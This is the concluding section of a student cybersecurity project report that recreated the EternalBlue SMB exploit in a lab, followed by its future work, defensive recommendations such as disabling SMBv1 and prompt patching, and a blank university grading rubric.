The reconnaissance phase successfully identified exposed SMB services and confirmed the presence of the vulnerability using Nmap vulnerability scanning techniques. The exploitation phase demonstrated how attackers can leverage EternalBlue to interact with kernel memory and potentially gain unauthorized access to vulnerable systems.

The project also demonstrated two different attack scenarios. The Windows 10 demonstration illustrated payload-based compromise techniques, while the Windows 7 demonstration showed how EternalBlue can be used to gain initial access before establishing a full Meterpreter session.

The findings highlight the importance of maintaining up-to-date systems, disabling legacy protocols such as SMBv1, implementing effective patch management procedures, and conducting regular security assessments.

Overall, the project provided valuable practical experience in penetration testing methodologies and increased understanding of how critical vulnerabilities can be identified, exploited, and mitigated.

6.2 Future Work

Several improvements and extensions can be made to this project in the future:

1. Physical Hardware Testing

Repeat the exploitation process on physical hardware to evaluate exploitation reliability outside virtualized environments and demonstrate advanced post-exploitation activities.

2. Patch Verification and Remediation

Apply Microsoft's MS17-010 security update, disable SMBv1, and repeat vulnerability testing to demonstrate effective mitigation techniques.

3. Intrusion Detection and Monitoring

Develop and test intrusion detection signatures using tools such as Snort or Suricata to identify EternalBlue exploitation attempts and Meterpreter-related activity.

4. Additional Target Systems

Expand the project by testing other historically affected operating systems such as:

- Windows Server 2008 R2
- Windows Server 2012
- Legacy Windows Embedded Systems

5. Security Control Evaluation

Evaluate the effectiveness of additional security controls including:

- SMB Signing
- Network Segmentation
- Endpoint Detection and Response (EDR)
- Windows Defender
- Host-Based Firewalls

6. Automated Vulnerability Assessment

Integrate automated vulnerability scanners and reporting tools to compare detection accuracy and improve vulnerability management processes.

6.3 Recommendations

Based on the findings of this project, the following recommendations are proposed:

1. Disable SMBv1 wherever possible.
2. Apply security updates and patches promptly.
3. Implement network segmentation to limit lateral movement.
4. Enable SMB signing where supported.
5. Conduct regular vulnerability assessments and penetration tests.
6. Deploy intrusion detection and endpoint protection solutions.
7. Maintain continuous monitoring of critical systems and services.

These measures can significantly reduce the risk associated with SMB-related vulnerabilities and improve overall organizational security.

6.4 Final Remarks

Cybersecurity threats continue to evolve as attackers actively search for vulnerable and unpatched systems. EternalBlue remains one of the most significant examples of how a single vulnerability can have a global impact when proper security controls are not implemented.

By recreating and analyzing the exploitation process in a controlled environment, this project provides valuable insight into modern penetration testing practices and demonstrates the importance of proactive cybersecurity measures. Understanding how vulnerabilities are exploited is essential for developing effective defensive strategies and protecting critical information systems from future attacks.

Capital University of Science & Technology, Islamabad

Computer & Electrical Engineering Department

FUNDAMENTALS OF CYBERSECURITY PROJECT ASSESSMENT RUBRICS

1	Project Title	VULNERABILITY ANALYSIS AND PENETRATION TESTING USING METASPLOIT	
2	Lab / Course	Fundamentals of Cybersecurity Project	Semester: Spring 2026
3	Student Name & Registration No.	Student 1: ABDULLAH Bin Faisal (BCY251025) Student 2: ABID RASUL (BCY2510219) Student3: SAMEER AHMAD (BCY251020)	
4	Instructor Name & Signature	_____ Rafiya Tariq	

Project Demonstration

Assessment Criteria	Very Poor 1-2	Poor 3-4	Satisfactory 5-6	Good 7-8	Excellent 9-10	Score Student 1	Score Student 2
Design Evaluation and Testing	No design prototype and demonstration.	Design prototype is not working and no testing of design has been done.	Design prototype is partially functional and little testing of design has been done.	Design prototype is functional and some testing of design has been done.	Design prototype is fully functional and design has been exhaustively tested.		
Usage of software / hardware tools in design and evaluation	No software / hardware tool usage in project design and evaluation.	Insignificant evidence of software / hardware tool usage in project design and evaluation.	Little evidence of ability to select appropriate software / hardware tools in project design and results evaluation.	Some evidence of skills to use software / hardware tools in project design and results evaluation.	Clear evidence of skills to use software / hardware tools in project design and results evaluation.		

Project Report

Assessment Criteria	Very Poor 1-2	Poor 3-4	Satisfactory 5-6	Good 7-8	Excellent 9-10	Score Student 1	Score Student 2
Literature Survey, Problem Analysis and Design Procedure	No or very poor literature survey done. No problem analysis performed. No worthwhile design procedure exists.	Insufficient literature survey. Problem analysis part is skipped or does not contribute to creating an effective design. Does not follow any design procedure.	Partial literature survey. Problem analysis performed is haphazard and design parameter selection is spontaneous. Little use of design procedure.	Adequate literature survey. Problem analysis performed correctly. Project demonstrates some use of design process.	Clear and complete literature survey, effective problem analysis is performed to choose design parameters. Project demonstrates effective use of design process.		
Language, Grammar and References	A lot of spelling and grammatical mistakes with poor English. The list of references is clearly inadequate. Table of content missing.	Frequent spellings and grammatical errors. The list of references should be expanded.	Occasional spellings and grammatical errors. The list of references appears reasonable but citation does not follow standard format.	Very few spellings and grammatical errors. Organization is good. The list of references appears reasonable and citation follows standard format.	Almost no spelling or grammatical mistake. Excellent organization. A comprehensive list of references is cited using the standard format.		

Viva Voce

Assessment Criteria	Very Poor 1-2	Poor 3-4	Satisfactory 5-6	Good 7-8	Excellent 9-10	Score Student 1	Score Student 2
Knowledge of Project Implementation Details (Q/A)	No knowledge of implementation and design process.	Poor knowledge of implementation and design with wrong/no answers.	Satisfactory knowledge of implementation, vague answers.	Adequate knowledge of project implementation with majority of correct answers.	Exceptional knowledge of implementation and overall design with clear and spontaneous answers.		

Rubric adapted from the uploaded CUST Simple Project Rubrics format.